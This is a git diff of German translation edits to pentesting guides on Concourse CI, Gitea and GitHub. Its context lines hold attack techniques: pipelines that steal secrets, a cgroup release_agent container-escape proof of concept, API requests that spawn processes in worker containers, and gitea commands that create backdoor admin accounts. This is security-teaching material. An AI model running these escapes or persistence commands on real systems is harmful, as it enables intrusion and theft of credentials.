@@ -138,11 +138,11 @@ Mit diesen Berechtigungen könnten Sie in der Lage sein:
- **Die Geheimnisse** im **Container** zu stehlen
- Versuchen, zum Knoten zu **entkommen**
-- Den **Cloud-Metadaten**-Endpunkt auflisten/missbrauchen (vom Pod und vom Knoten, wenn möglich)
+- **Cloud-Metadaten**-Endpunkt auflisten/missbrauchen (vom Pod und vom Knoten, wenn möglich)
#### Pipeline-Erstellung/-Änderung
-Wenn Sie über ausreichende Berechtigungen (**Mitgliedsrolle oder mehr**) verfügen, können Sie **neue Pipelines erstellen/ändern.** Überprüfen Sie dieses Beispiel:
+Wenn Sie genügend Berechtigungen (**Mitgliedsrolle oder mehr**) haben, können Sie **neue Pipelines erstellen/ändern.** Überprüfen Sie dieses Beispiel:
```yaml
jobs:
- name: simple
@@ -168,14 +168,14 @@ SUPER_SECRET: ((super.secret))
```
Mit der **Änderung/Erstellung** einer neuen Pipeline können Sie:
-- **Geheime Informationen stehlen** (indem Sie sie ausgeben oder in den Container gelangen und `env` ausführen)
-- **Entkommen** zum **Knoten** (indem Sie Ihnen genügend Berechtigungen geben - `privileged: true`)
+- **Geheimnisse** **stehlen** (indem Sie sie ausgeben oder in den Container gelangen und `env` ausführen)
+- Zu dem **Knoten** **entkommen** (indem Sie Ihnen genügend Berechtigungen geben - `privileged: true`)
- **Cloud-Metadaten**-Endpunkt auflisten/missbrauchen (vom Pod und vom Knoten)
-- **Gelöschte** Pipeline erstellen
+- Erstellte Pipeline **löschen**
#### Benutzerdefinierte Aufgabe ausführen
-Dies ist ähnlich wie die vorherige Methode, aber anstatt eine ganz neue Pipeline zu ändern/zu erstellen, können Sie **einfach eine benutzerdefinierte Aufgabe ausführen** (die wahrscheinlich viel **heimlicher** sein wird):
+Dies ist ähnlich wie die vorherige Methode, aber anstatt eine ganze neue Pipeline zu ändern/zu erstellen, können Sie **einfach eine benutzerdefinierte Aufgabe ausführen** (die wahrscheinlich viel **heimlicher** sein wird):
```yaml
# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
@@ -197,11 +197,11 @@ SUPER_SECRET: ((super.secret))
```bash
fly -t tutorial execute --privileged --config task_config.yml
```
-#### Entkommen zum Knoten von privilegierter Aufgabe
+#### Ausbrechen zum Knoten von privilegierter Aufgabe
-In den vorherigen Abschnitten haben wir gesehen, wie man **eine privilegierte Aufgabe mit concourse ausführt**. Dies gibt dem Container nicht genau den gleichen Zugriff wie das privilegierte Flag in einem Docker-Container. Zum Beispiel werden Sie das Knoten-Dateisystemgerät in /dev nicht sehen, sodass das Entkommen "komplexer" sein könnte.
+In den vorherigen Abschnitten haben wir gesehen, wie man **eine privilegierte Aufgabe mit concourse ausführt**. Dies wird dem Container nicht genau den gleichen Zugriff wie das privilegierte Flag in einem Docker-Container geben. Zum Beispiel werden Sie das Knoten-Dateisystemgerät in /dev nicht sehen, sodass der Ausbruch "komplexer" sein könnte.
-In der folgenden PoC werden wir den release_agent verwenden, um mit einigen kleinen Modifikationen zu entkommen:
+In dem folgenden PoC werden wir den release_agent verwenden, um mit einigen kleinen Modifikationen auszubrechen:
```bash
# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
@@ -262,9 +262,9 @@ cat /output
> [!WARNING]
> Wie Sie vielleicht bemerkt haben, handelt es sich hierbei nur um eine [**reguläre release_agent-Escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md), bei der der Pfad des cmd im Knoten geändert wird.
-#### Escape zum Knoten von einem Worker-Container
+#### Escaping zum Knoten von einem Worker-Container
-Eine reguläre release_agent-Escape mit einer kleinen Modifikation ist dafür ausreichend:
+Eine reguläre release_agent-Escape mit einer geringfügigen Modifikation ist dafür ausreichend:
```bash
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
@@ -293,7 +293,7 @@ cat /output
```
#### Escaping to the node from the Web container
-Auch wenn der Web-Container einige Verteidigungen deaktiviert hat, läuft er **nicht als ein gewöhnlicher privilegierter Container** (zum Beispiel **kannst** du **nicht** **mounten** und die **Fähigkeiten** sind sehr **begrenzt**, sodass alle einfachen Möglichkeiten, aus dem Container zu entkommen, nutzlos sind).
+Selbst wenn der Web-Container einige Verteidigungen deaktiviert hat, **läuft er nicht als ein gewöhnlicher privilegierter Container** (zum Beispiel **kannst du** **nicht** **mounten** und die **Fähigkeiten** sind sehr **begrenzt**, sodass alle einfachen Möglichkeiten, aus dem Container zu entkommen, nutzlos sind).
Allerdings speichert er **lokale Anmeldeinformationen im Klartext**:
```bash
@@ -304,9 +304,9 @@ env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test
```
-Du könntest diese Anmeldeinformationen verwenden, um **dich am Webserver anzumelden** und **einen privilegierten Container zu erstellen und zum Knoten zu entkommen**.
+Sie könnten diese Anmeldeinformationen verwenden, um **sich am Webserver anzumelden** und **einen privilegierten Container zu erstellen und zum Knoten zu entkommen**.
-In der Umgebung kannst du auch Informationen finden, um **auf die postgresql**-Instanz zuzugreifen, die concourse verwendet (Adresse, **Benutzername**, **Passwort** und Datenbank unter anderem Informationen):
+In der Umgebung finden Sie auch Informationen zum **Zugriff auf die postgresql**-Instanz, die concourse verwendet (Adresse, **Benutzername**, **Passwort** und Datenbank unter anderem Informationen):
```bash
env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
@@ -348,12 +348,12 @@ Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled
```
-Allerdings funktionieren Techniken wie das **Mounten** des /dev-Geräts des Knotens oder des release_agent **nicht** (da das echte Gerät mit dem Dateisystem des Knotens nicht zugänglich ist, sondern nur ein virtuelles). Wir können nicht auf Prozesse des Knotens zugreifen, daher wird das Entkommen aus dem Knoten ohne Kernel-Exploits kompliziert.
+Allerdings funktionieren Techniken wie das **Mounten** des /dev-Geräts des Knotens oder des release_agent **nicht** (da das echte Gerät mit dem Dateisystem des Knotens nicht zugänglich ist, nur ein virtuelles). Wir können nicht auf Prozesse des Knotens zugreifen, daher wird das Entkommen aus dem Knoten ohne Kernel-Exploits kompliziert.
> [!NOTE]
> Im vorherigen Abschnitt haben wir gesehen, wie man aus einem privilegierten Container entkommt. Wenn wir also **Befehle** in einem **privilegierten Container** ausführen können, der vom **aktuellen** **Worker** erstellt wurde, könnten wir **zum Knoten entkommen**.
-Beachten Sie, dass ich beim Spielen mit Concourse festgestellt habe, dass die Containerprozesse zugänglich sind, wenn ein neuer Container zum Ausführen von etwas erstellt wird, sodass es ist, als würde ein Container einen neuen Container in sich selbst erstellen.
+Beachten Sie, dass ich beim Spielen mit Concourse festgestellt habe, dass die Prozesse des Containers zugänglich sind, wenn ein neuer Container zum Ausführen von etwas erstellt wird, sodass es ist, als würde ein Container einen neuen Container in sich erstellen.
**In einen laufenden privilegierten Container gelangen**
```bash
@@ -387,7 +387,7 @@ wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
```
-Allerdings überprüft der Webserver alle paar Sekunden die laufenden Container, und wenn ein unerwarteter entdeckt wird, wird er gelöscht. Da die Kommunikation über HTTP erfolgt, könnten Sie die Kommunikation manipulieren, um die Löschung unerwarteter Container zu vermeiden:
+Der Webserver überprüft jedoch alle paar Sekunden die laufenden Container, und wenn ein unerwarteter entdeckt wird, wird er gelöscht. Da die Kommunikation über HTTP erfolgt, könnten Sie die Kommunikation manipulieren, um die Löschung unerwarteter Container zu vermeiden:
```
GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
index 567098037..91dba4197 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
@@ -28,7 +28,7 @@ helm install concourse-release concourse/concourse
# If you need to delete it
helm delete concourse-release
```
-Nachdem Sie die Concourse-Umgebung erstellt haben, können Sie ein Geheimnis generieren und dem SA, der in Concourse Web ausgeführt wird, Zugriff auf K8s-Geheimnisse gewähren:
+Nachdem Sie die Concourse-Umgebung erstellt haben, können Sie ein Geheimnis generieren und dem SA, der in Concourse Web läuft, Zugriff auf K8s-Geheimnisse gewähren:
```yaml
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -81,11 +81,11 @@ Es können mehrere verschiedene Arten von Schritten verwendet werden:
- der [`set_pipeline` Schritt](https://concourse-ci.org/set-pipeline-step.html) konfiguriert eine [Pipeline](https://concourse-ci.org/pipelines.html)
- der [`load_var` Schritt](https://concourse-ci.org/load-var-step.html) lädt einen Wert in eine [lokale Variable](https://concourse-ci.org/vars.html#local-vars)
- der [`in_parallel` Schritt](https://concourse-ci.org/in-parallel-step.html) führt Schritte parallel aus
-- der [`do` Schritt](https://concourse-ci.org/do-step.html) führt Schritte in Folge aus
+- der [`do` Schritt](https://concourse-ci.org/do-step.html) führt Schritte sequenziell aus
- der [`across` Schrittmodifikator](https://concourse-ci.org/across-step.html#schema.across) führt einen Schritt mehrfach aus; einmal für jede Kombination von Variablenwerten
- der [`try` Schritt](https://concourse-ci.org/try-step.html) versucht, einen Schritt auszuführen und hat Erfolg, selbst wenn der Schritt fehlschlägt
-Jeder [Schritt](https://concourse-ci.org/steps.html) in einem [Job-Plan](https://concourse-ci.org/jobs.html#schema.job.plan) wird in **seinem eigenen Container** ausgeführt. Sie können alles, was Sie möchten, im Container ausführen _(d.h. meine Tests ausführen, dieses Bash-Skript ausführen, dieses Bild erstellen usw.)_. Wenn Sie also einen Job mit fünf Schritten haben, erstellt Concourse fünf Container, einen für jeden Schritt.
+Jeder [Schritt](https://concourse-ci.org/steps.html) in einem [Job-Plan](https://concourse-ci.org/jobs.html#schema.job.plan) läuft in seinem **eigenen Container**. Sie können alles, was Sie möchten, im Container ausführen _(d.h. meine Tests ausführen, dieses Bash-Skript ausführen, dieses Bild erstellen usw.)_. Wenn Sie also einen Job mit fünf Schritten haben, erstellt Concourse fünf Container, einen für jeden Schritt.
Daher ist es möglich, den Typ des Containers anzugeben, in dem jeder Schritt ausgeführt werden muss.
@@ -127,7 +127,7 @@ fly -t tutorial intercept --job pipe-name/simple
### Bash-Skript mit Ausgabe/Eingabe-Pipeline
-Es ist möglich, **die Ergebnisse einer Aufgabe in einer Datei zu speichern** und anzugeben, dass es sich um eine Ausgabe handelt, und dann die Eingabe der nächsten Aufgabe als die Ausgabe der vorherigen Aufgabe anzugeben. Was Concourse tut, ist, **das Verzeichnis der vorherigen Aufgabe in der neuen Aufgabe zu mounten, wo Sie auf die von der vorherigen Aufgabe erstellten Dateien zugreifen können**.
+Es ist möglich, **die Ergebnisse einer Aufgabe in einer Datei zu speichern** und anzugeben, dass es sich um eine Ausgabe handelt, und dann die Eingabe der nächsten Aufgabe als Ausgabe der vorherigen Aufgabe anzugeben. Was Concourse tut, ist, **das Verzeichnis der vorherigen Aufgabe in der neuen Aufgabe zu mounten, wo Sie auf die von der vorherigen Aufgabe erstellten Dateien zugreifen können**.
### Trigger
diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md
index a8a6555b4..83fce8e1c 100644
--- a/src/pentesting-ci-cd/gitea-security/README.md
+++ b/src/pentesting-ci-cd/gitea-security/README.md
@@ -27,15 +27,15 @@ Sie können es auch mit Kubernetes ausführen:
helm repo add gitea-charts https://dl.gitea.io/charts/
helm install gitea gitea-charts/gitea
```
-## Unauthenticated Enumeration
+## Unauthentifizierte Enumeration
- Öffentliche Repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
- Registrierte Benutzer: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
- Registrierte Organisationen: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
-Beachten Sie, dass **Gitea standardmäßig neuen Benutzern die Registrierung erlaubt**. Dies wird den neuen Benutzern keinen besonders interessanten Zugriff auf die Repos anderer Organisationen/Benutzer geben, aber ein **eingeloggter Benutzer** könnte in der Lage sein, **mehr Repos oder Organisationen zu visualisieren**.
+Beachten Sie, dass **Gitea standardmäßig neuen Benutzern die Registrierung erlaubt**. Dies gibt den neuen Benutzern keinen besonders interessanten Zugriff auf die Repos anderer Organisationen/Benutzer, aber ein **eingeloggter Benutzer** könnte in der Lage sein, **mehr Repos oder Organisationen zu visualisieren**.
-## Internal Exploitation
+## Interne Ausnutzung
Für dieses Szenario nehmen wir an, dass Sie Zugriff auf ein GitHub-Konto erhalten haben.
@@ -46,7 +46,7 @@ Wenn Sie irgendwie bereits Anmeldeinformationen für einen Benutzer innerhalb ei
Beachten Sie, dass **2FA verwendet werden kann**, sodass Sie diese Informationen nur abrufen können, wenn Sie auch **diesen Check bestehen**.
> [!NOTE]
-> Beachten Sie, dass wenn Sie **es schaffen, den `i_like_gitea` Cookie zu stehlen** (der derzeit mit SameSite: Lax konfiguriert ist), können Sie **den Benutzer vollständig impersonifizieren**, ohne Anmeldeinformationen oder 2FA zu benötigen.
+> Beachten Sie, dass wenn Sie **es schaffen, das `i_like_gitea`-Cookie zu stehlen** (derzeit mit SameSite: Lax konfiguriert), können Sie **den Benutzer vollständig impersonifizieren**, ohne Anmeldeinformationen oder 2FA zu benötigen.
### Mit Benutzer-SSH-Schlüssel
@@ -58,7 +58,7 @@ Mit diesem Schlüssel können Sie **Änderungen in Repositories vornehmen, in de
# Get repo config and current user name and email
git config --list
```
-Wenn der Benutzer seinen Benutzernamen als seinen gitea Benutzernamen konfiguriert hat, können Sie auf die **öffentlichen Schlüssel, die er festgelegt hat**, in _https://github.com/\.keys_ zugreifen. Sie könnten dies überprüfen, um zu bestätigen, dass der private Schlüssel, den Sie gefunden haben, verwendet werden kann.
+Wenn der Benutzer seinen Benutzernamen als seinen gitea Benutzernamen konfiguriert hat, können Sie auf die **öffentlichen Schlüssel, die er in seinem Konto festgelegt hat**, unter _https://github.com/\.keys_ zugreifen. Sie könnten dies überprüfen, um zu bestätigen, dass der private Schlüssel, den Sie gefunden haben, verwendet werden kann.
**SSH-Schlüssel** können auch in Repositories als **Deploy-Schlüssel** festgelegt werden. Jeder, der Zugriff auf diesen Schlüssel hat, kann **Projekte aus einem Repository starten**. In einem Server mit verschiedenen Deploy-Schlüsseln gibt die lokale Datei **`~/.ssh/config`** Informationen darüber, welcher Schlüssel zugeordnet ist.
@@ -72,13 +72,13 @@ gpg --list-secret-keys --keyid-format=long
```
### Mit Benutzer-Token
-Für eine Einführung über [**Benutzer-Token siehe die grundlegenden Informationen**](basic-gitea-information.md#personal-access-tokens).
+Für eine Einführung über [**Benutzer-Token überprüfen Sie die grundlegenden Informationen**](basic-gitea-information.md#personal-access-tokens).
Ein Benutzer-Token kann **anstatt eines Passworts** verwendet werden, um sich **gegenüber dem Gitea-Server** [**über die API**](https://try.gitea.io/api/swagger#/) zu **authentifizieren**. Es hat **vollständigen Zugriff** auf den Benutzer.
### Mit Oauth-Anwendung
-Für eine Einführung über [**Gitea Oauth-Anwendungen siehe die grundlegenden Informationen**](./#with-oauth-application).
+Für eine Einführung über [**Gitea Oauth-Anwendungen überprüfen Sie die grundlegenden Informationen**](./#with-oauth-application).
Ein Angreifer könnte eine **bösartige Oauth-Anwendung** erstellen, um auf privilegierte Daten/Aktionen der Benutzer zuzugreifen, die sie wahrscheinlich als Teil einer Phishing-Kampagne akzeptieren.
@@ -86,45 +86,45 @@ Wie in den grundlegenden Informationen erklärt, hat die Anwendung **vollen Zugr
### Umgehung des Branch-Schutzes
-In Github haben wir **github actions**, die standardmäßig ein **Token mit Schreibzugriff** auf das Repo erhalten, das verwendet werden kann, um **Branch-Schutzmaßnahmen zu umgehen**. In diesem Fall **existiert das nicht**, sodass die Umgehungen eingeschränkter sind. Aber schauen wir uns an, was getan werden kann:
+In Github haben wir **github actions**, die standardmäßig ein **Token mit Schreibzugriff** auf das Repository erhalten, das verwendet werden kann, um **Branch-Schutzmaßnahmen zu umgehen**. In diesem Fall **existiert das nicht**, sodass die Umgehungen eingeschränkter sind. Aber schauen wir uns an, was getan werden kann:
- **Push aktivieren**: Wenn jemand mit Schreibzugriff auf den Branch pushen kann, pushen Sie einfach darauf.
- **Whitelist für eingeschränkten Push**: Auf die gleiche Weise, wenn Sie Teil dieser Liste sind, pushen Sie auf den Branch.
- **Merge-Whitelist aktivieren**: Wenn es eine Merge-Whitelist gibt, müssen Sie darin sein.
-- **Genehmigungen müssen größer als 0 sein**: Dann... müssen Sie einen anderen Benutzer kompromittieren.
-- **Genehmigungen auf Whitelist beschränken**: Wenn nur Benutzer auf der Whitelist genehmigen können... müssen Sie einen anderen Benutzer kompromittieren, der in dieser Liste ist.
-- **Veraltete Genehmigungen zurückweisen**: Wenn Genehmigungen nicht mit neuen Commits entfernt werden, könnten Sie einen bereits genehmigten PR hijacken, um Ihren Code einzufügen und den PR zu mergen.
+- **Genehmigungen sind größer als 0 erforderlich**: Dann... müssen Sie einen anderen Benutzer kompromittieren.
+- **Genehmigungen auf Whitelist beschränken**: Wenn nur Benutzer auf der Whitelist genehmigen können... müssen Sie einen anderen Benutzer kompromittieren, der auf dieser Liste steht.
+- **Veraltete Genehmigungen zurückweisen**: Wenn Genehmigungen mit neuen Commits nicht entfernt werden, könnten Sie einen bereits genehmigten PR hijacken, um Ihren Code einzufügen und den PR zu mergen.
-Beachten Sie, dass **wenn Sie ein Org/Repo-Admin sind**, Sie die Schutzmaßnahmen umgehen können.
+Beachten Sie, dass **wenn Sie ein Org/Repo-Admin sind**, können Sie die Schutzmaßnahmen umgehen.
### Webhooks auflisten
**Webhooks** sind in der Lage, **spezifische Gitea-Informationen an bestimmte Orte zu senden**. Sie könnten in der Lage sein, **diese Kommunikation auszunutzen**.\
Allerdings wird normalerweise ein **Geheimnis**, das Sie **nicht abrufen können**, im **Webhook** festgelegt, das **verhindert**, dass externe Benutzer, die die URL des Webhooks, aber nicht das Geheimnis kennen, **diesen Webhook ausnutzen**.\
-Aber in einigen Fällen setzen Leute anstelle des Setzens des **Geheimnisses** an seinem Platz, sie **setzen es in die URL** als Parameter, sodass **das Überprüfen der URLs** Ihnen ermöglichen könnte, **Geheimnisse** und andere Orte zu finden, die Sie weiter ausnutzen könnten.
+In einigen Fällen setzen Menschen jedoch anstelle des **Geheimnisses** an seinem Platz, **es in der URL** als Parameter, sodass **das Überprüfen der URLs** Ihnen ermöglichen könnte, **Geheimnisse** und andere Orte zu finden, die Sie weiter ausnutzen könnten.
Webhooks können auf **Repo- und Org-Ebene** festgelegt werden.
-## Nach der Ausnutzung
+## Post-Exploitation
-### Innerhalb des Servers
+### Auf dem Server
-Wenn Sie es irgendwie geschafft haben, in den Server zu gelangen, auf dem Gitea läuft, sollten Sie nach der Gitea-Konfigurationsdatei suchen. Standardmäßig befindet sie sich in `/data/gitea/conf/app.ini`.
+Wenn Sie es irgendwie geschafft haben, auf den Server zu gelangen, auf dem Gitea läuft, sollten Sie nach der Gitea-Konfigurationsdatei suchen. Standardmäßig befindet sie sich in `/data/gitea/conf/app.ini`.
In dieser Datei finden Sie **Schlüssel** und **Passwörter**.
Im Gitea-Pfad (standardmäßig: /data/gitea) finden Sie auch interessante Informationen wie:
-- Die **sqlite** DB: Wenn Gitea keine externe DB verwendet, wird es eine sqlite DB verwenden.
+- Die **sqlite** DB: Wenn Gitea keine externe DB verwendet, wird es eine SQLite-DB verwenden.
- Die **Sitzungen** im Sitzungsordner: Durch Ausführen von `cat sessions/*/*/*` können Sie die Benutzernamen der angemeldeten Benutzer sehen (Gitea könnte auch die Sitzungen in der DB speichern).
- Der **jwt private key** im jwt-Ordner.
- Weitere **sensible Informationen** könnten in diesem Ordner gefunden werden.
-Wenn Sie sich im Server befinden, können Sie auch **die `gitea`-Binary** verwenden, um Informationen zuzugreifen/zu ändern:
+Wenn Sie sich auf dem Server befinden, können Sie auch die **`gitea`-Binary** verwenden, um Informationen zuzugreifen/zu ändern:
- `gitea dump` wird Gitea dumpen und eine .zip-Datei generieren.
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` generiert ein Token des angegebenen Typs (Persistenz).
-- `gitea admin user change-password --username admin --password newpassword` Ändert das Passwort.
-- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Erstellt einen neuen Admin-Benutzer und erhält ein Zugriffstoken.
+- `gitea admin user change-password --username admin --password newpassword` ändert das Passwort.
+- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` erstellt einen neuen Admin-Benutzer und erhält ein Zugriffstoken.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
index d2928bc19..1821f4c58 100644
--- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
+++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
@@ -38,7 +38,7 @@ Beim Erstellen eines neuen Teams werden mehrere wichtige Einstellungen ausgewäh
### Teams & Benutzer
-In einem Repo können der **Org-Admin** und die **Repo-Admins** (sofern von der Org erlaubt) die **Rollen** verwalten, die den Mitarbeitern (anderen Benutzern) und Teams zugewiesen sind. Es gibt **3** mögliche **Rollen**:
+In einem Repo können der **Org-Admin** und die **Repo-Admins** (sofern von der Org erlaubt) die Rollen verwalten, die den Mitarbeitern (anderen Benutzern) und Teams zugewiesen sind. Es gibt **3** mögliche **Rollen**:
- Administrator
- Schreiben
@@ -64,38 +64,38 @@ Sie können persönliche Zugriffstoken generieren, um **einer Anwendung Zugriff
### Oauth-Anwendungen
-Genau wie persönliche Zugriffstoken haben **Oauth-Anwendungen** **vollständigen Zugriff** auf Ihr Konto und die Orte, auf die Ihr Konto Zugriff hat, da, wie in den [Dokumenten](https://docs.gitea.io/en-us/oauth2-provider/#scopes) angegeben, Scopes noch nicht unterstützt werden:
+Genau wie persönliche Zugriffstoken haben **Oauth-Anwendungen** **vollständigen Zugriff** auf Ihr Konto und die Orte, auf die Ihr Konto Zugriff hat, da, wie in den [Docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes) angegeben, Scopes noch nicht unterstützt werden:
.png>)
-### Bereitstellungsschlüssel
+### Deploy-Schlüssel
-Bereitstellungsschlüssel können Lese- oder Schreibzugriff auf das Repo haben, sodass sie interessant sein könnten, um spezifische Repos zu kompromittieren.
+Deploy-Schlüssel können Lese- oder Schreibzugriff auf das Repo haben, sodass sie interessant sein könnten, um spezifische Repos zu kompromittieren.
## Branch-Schutz
-Branch-Schutzmaßnahmen sind so konzipiert, dass sie **keine vollständige Kontrolle über ein Repository** an die Benutzer geben. Das Ziel ist es, **mehrere Schutzmethoden zu implementieren, bevor man in der Lage ist, Code in einen bestimmten Branch zu schreiben**.
+Branch-Schutzmaßnahmen sind darauf ausgelegt, **Benutzern nicht die vollständige Kontrolle über ein Repository zu geben**. Das Ziel ist es, **mehrere Schutzmethoden zu implementieren, bevor man in der Lage ist, Code in einen bestimmten Branch zu schreiben**.
Die **Branch-Schutzmaßnahmen eines Repositories** finden Sie unter _https://localhost:3000/\/\/settings/branches_
> [!NOTE]
> Es ist **nicht möglich, einen Branch-Schutz auf Organisationsebene festzulegen**. Daher müssen alle in jedem Repo deklariert werden.
-Verschiedene Schutzmaßnahmen können auf einen Branch angewendet werden (wie auf master):
+Verschiedene Schutzmaßnahmen können auf einen Branch (wie auf master) angewendet werden:
- **Push deaktivieren**: Niemand kann in diesen Branch pushen.
- **Push aktivieren**: Jeder mit Zugriff kann pushen, aber nicht force pushen.
-- **Whitelist eingeschränkter Push**: Nur ausgewählte Benutzer/Teams können in diesen Branch pushen (aber kein Force Push).
-- **Whitelist für Merge aktivieren**: Nur auf die Whitelist gesetzte Benutzer/Teams können PRs mergen.
-- **Statusprüfungen aktivieren:** Statusprüfungen müssen bestehen, bevor gemerged wird.
-- **Genehmigungen erforderlich**: Geben Sie die Anzahl der erforderlichen Genehmigungen an, bevor ein PR gemerged werden kann.
-- **Genehmigungen auf Whitelist beschränken**: Geben Sie Benutzer/Teams an, die PRs genehmigen können.
+- **Whitelist eingeschränkter Push**: Nur ausgewählte Benutzer/Teams können in diesen Branch pushen (aber kein force push).
+- **Whitelist für Merge aktivieren**: Nur aufgelistete Benutzer/Teams können PRs mergen.
+- **Statusprüfungen aktivieren:** Erfordert, dass Statusprüfungen bestanden werden, bevor gemerged wird.
+- **Genehmigungen erforderlich**: Gibt die Anzahl der erforderlichen Genehmigungen an, bevor ein PR gemerged werden kann.
+- **Genehmigungen auf Whitelist beschränken**: Gibt Benutzer/Teams an, die PRs genehmigen können.
- **Merge bei abgelehnten Überprüfungen blockieren**: Wenn Änderungen angefordert werden, kann es nicht gemerged werden (auch wenn die anderen Prüfungen bestehen).
- **Merge bei offiziellen Überprüfungsanfragen blockieren**: Wenn es offizielle Überprüfungsanfragen gibt, kann es nicht gemerged werden.
- **Veraltete Genehmigungen zurückweisen**: Bei neuen Commits werden alte Genehmigungen zurückgewiesen.
- **Signierte Commits erforderlich**: Commits müssen signiert sein.
- **Merge blockieren, wenn der Pull-Request veraltet ist.**
-- **Geschützte/ungeschützte Dateimuster**: Geben Sie Muster von Dateien an, die gegen Änderungen geschützt/ungeschützt werden sollen.
+- **Geschützte/ungeschützte Dateimuster**: Gibt Muster von Dateien an, die gegen Änderungen geschützt/ungeschützt werden sollen.
> [!NOTE]
> Wie Sie sehen können, selbst wenn Sie es geschafft haben, einige Anmeldeinformationen eines Benutzers zu erhalten, **könnten Repos geschützt sein, sodass Sie beispielsweise keinen Code in master pushen können, um die CI/CD-Pipeline zu kompromittieren.**
diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md
index b2291d603..731c6debb 100644
--- a/src/pentesting-ci-cd/github-security/README.md
+++ b/src/pentesting-ci-cd/github-security/README.md
@@ -24,7 +24,7 @@ Falls Sie den **Benutzer, das Repo oder die Organisation, die Sie anvisieren mö
### Github Dorks
-Github ermöglicht es, **nach etwas zu suchen, indem man als Umfang einen Benutzer, ein Repo oder eine Organisation angibt**. Daher können Sie mit einer Liste von Zeichenfolgen, die in der Nähe sensibler Informationen erscheinen, leicht **nach potenziell sensiblen Informationen in Ihrem Ziel suchen**.
+Github ermöglicht es, **nach etwas zu suchen, indem man als Bereich einen Benutzer, ein Repo oder eine Organisation angibt**. Daher können Sie mit einer Liste von Zeichenfolgen, die in der Nähe sensibler Informationen erscheinen, leicht **nach potenziell sensiblen Informationen in Ihrem Ziel suchen**.
Tools (jedes Tool enthält seine Liste von Dorks):
@@ -32,9 +32,9 @@ Tools (jedes Tool enthält seine Liste von Dorks):
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks-Liste](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks-Liste](https://github.com/hisxo/gitGraber/tree/master/wordlists))
-### Github-Leaks
+### Github Leaks
-Bitte beachten Sie, dass die Github-Dorks auch dazu gedacht sind, nach Leaks zu suchen, indem die Suchoptionen von Github verwendet werden. Dieser Abschnitt ist den Tools gewidmet, die **jedes Repo herunterladen und nach sensiblen Informationen darin suchen** (sogar bestimmte Tiefen von Commits überprüfen).
+Bitte beachten Sie, dass die Github Dorks auch dazu gedacht sind, nach Leaks zu suchen, indem die Suchoptionen von Github verwendet werden. Dieser Abschnitt ist den Tools gewidmet, die **jedes Repo herunterladen und nach sensiblen Informationen darin suchen** (sogar bestimmte Tiefen von Commits überprüfen).
Tools (jedes Tool enthält seine Liste von Regex):
@@ -53,7 +53,7 @@ Tools (jedes Tool enthält seine Liste von Regex):
Es ist möglich, **Repos zu kompromittieren, indem man Pull-Requests missbraucht**. Um zu wissen, ob ein Repo anfällig ist, müssen Sie hauptsächlich die Github Actions YAML-Konfigurationen lesen. [**Weitere Informationen dazu finden Sie unten**](./#execution-from-a-external-fork).
-### Github-Leaks in gelöschten/internen Forks
+### Github Leaks in gelöschten/internen Forks
Selbst wenn sie gelöscht oder intern sind, könnte es möglich sein, sensible Daten aus Forks von Github-Repositories zu erhalten. Überprüfen Sie es hier:
@@ -67,12 +67,12 @@ accessible-deleted-data-in-github.md
Es gibt einige **Standardprivilegien**, die Mitgliedern der Organisation zugewiesen werden können. Diese können von der Seite `https://github.com/organizations//settings/member_privileges` oder von der [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs) gesteuert werden.
-- **Basisberechtigungen**: Mitglieder haben die Berechtigung None/Read/write/Admin über die Repos der Organisation. Empfohlen ist **None** oder **Read**.
-- **Repository-Forking**: Wenn nicht notwendig, ist es besser, **Mitglieder nicht zu erlauben**, Organisation-Repositories zu forken.
-- **Seiten erstellen**: Wenn nicht notwendig, ist es besser, **Mitglieder nicht zu erlauben**, Seiten aus den Org-Repos zu veröffentlichen. Wenn nötig, können Sie das Erstellen öffentlicher oder privater Seiten erlauben.
